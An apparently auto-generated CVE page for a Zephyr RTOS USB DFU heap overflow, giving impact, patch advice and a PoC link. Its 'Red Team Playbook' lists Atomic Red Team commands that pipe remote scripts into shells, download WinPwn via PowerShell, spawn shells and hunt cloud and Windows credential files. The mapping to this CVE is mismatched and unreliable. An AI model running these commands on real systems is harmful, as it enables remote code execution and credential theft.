CVE-2021-3625
Overview
This vulnerability is a heap-based buffer overflow occurring within the USB Device Firmware Upgrade (DFU) DNLOAD functionality of the Zephyr RTOS. The flaw arises from improper bounds checking when processing incoming DFU DNLOAD requests, leading to memory corruption. The affected component is the USB DFU implementation in Zephyr versions 2.5.0 and later.
Vulnerability Description
Buffer overflow in Zephyr USB DFU DNLOAD. Zephyr versions >= v2.5.0 contain Heap-based Buffer Overflow (CWE-122). For more information, see https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-c3gr-hgvr-f363
Impact
An unauthenticated attacker with physical or network access to the USB interface can exploit this vulnerability to execute arbitrary code or cause a denial of service by triggering memory corruption. The attack vector requires no user interaction and benefits from low complexity due to insufficient access control (CVSS vector AV:A/AC:L/PR:N/UI:N). Successful exploitation can compromise device integrity and availability, potentially allowing persistent control over the affected system.
Solution
Users should upgrade Zephyr RTOS to a patched version as detailed in the official security advisory GHSA-c3gr-hgvr-f363 available at https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-c3gr-hgvr-f363. The advisory provides specific patch commits and instructions for mitigating the heap buffer overflow in the USB DFU DNLOAD handler. No alternative workarounds are documented; upgrading to the fixed release is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zephyr operating system arises from a heap-based buffer overflow in the USB Device Firmware Upgrade (DFU) process, specifically during the DNLOAD operation. This flaw allows an attacker to manipulate memory allocation, potentially leading to arbitrary code execution. The underlying issue stems from improper validation of input data sizes, which can result in excessive data being written to a buffer allocated on the heap. When this occurs, adjacent memory locations can be overwritten, leading to unpredictable behavior, including crashes or the execution of malicious code. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that requires immediate attention.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting devices that utilize the Zephyr operating system with USB connectivity. An attacker could leverage physical access to a vulnerable device or exploit a compromised network to send specially crafted firmware updates. In scenarios where devices are exposed to untrusted networks, an attacker could intercept and modify firmware updates, injecting malicious payloads that exploit the buffer overflow. Additionally, devices that rely on automatic firmware updates without proper validation mechanisms are particularly susceptible, as they may accept and execute unverified code, further amplifying the risk.
The real-world impact of this vulnerability is significant, especially for organizations relying on IoT devices and embedded systems powered by the Zephyr operating system. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even full control over the affected device. This could have cascading effects on operational integrity, customer trust, and regulatory compliance. For businesses, the financial implications could be severe, encompassing costs related to incident response, system recovery, and potential legal liabilities stemming from data breaches or service outages. The potential for widespread exploitation in a connected environment poses a considerable threat to both individual organizations and the broader ecosystem.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, it is crucial to implement robust monitoring solutions that can identify anomalous behavior indicative of exploitation attempts. Regular audits of firmware and software versions are essential to ensure that all devices are running the latest, patched versions of the Zephyr operating system. Additionally, employing strict input validation and sanitization techniques can help prevent the conditions that lead to buffer overflows. Organizations should also consider implementing network segmentation to limit the exposure of critical devices to untrusted networks, thereby reducing the attack surface. Finally, establishing a comprehensive incident response plan will enable organizations to respond swiftly and effectively in the event of a security breach.
In conclusion, the buffer overflow vulnerability in the Zephyr operating system presents a critical risk that necessitates immediate attention from organizations utilizing affected products. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare to defend against this threat. Through proactive detection and mitigation strategies, organizations can safeguard their systems and maintain the integrity of their operations in an increasingly interconnected world.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zephyrproject | Zephyr | All |
cpe:2.3:o:zephyrproject:zephyr:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
szymonh/zephyr_cve-2021-3625
CVE-2021-3625 - Sample exploits for Zephyr
|
szymonh | 7 | 3 | 2021-10-06 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-3625 |
| github.com |
GitHub CVE
x_refsource_MISC
|
http://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-c3gr-hgvr-f363 |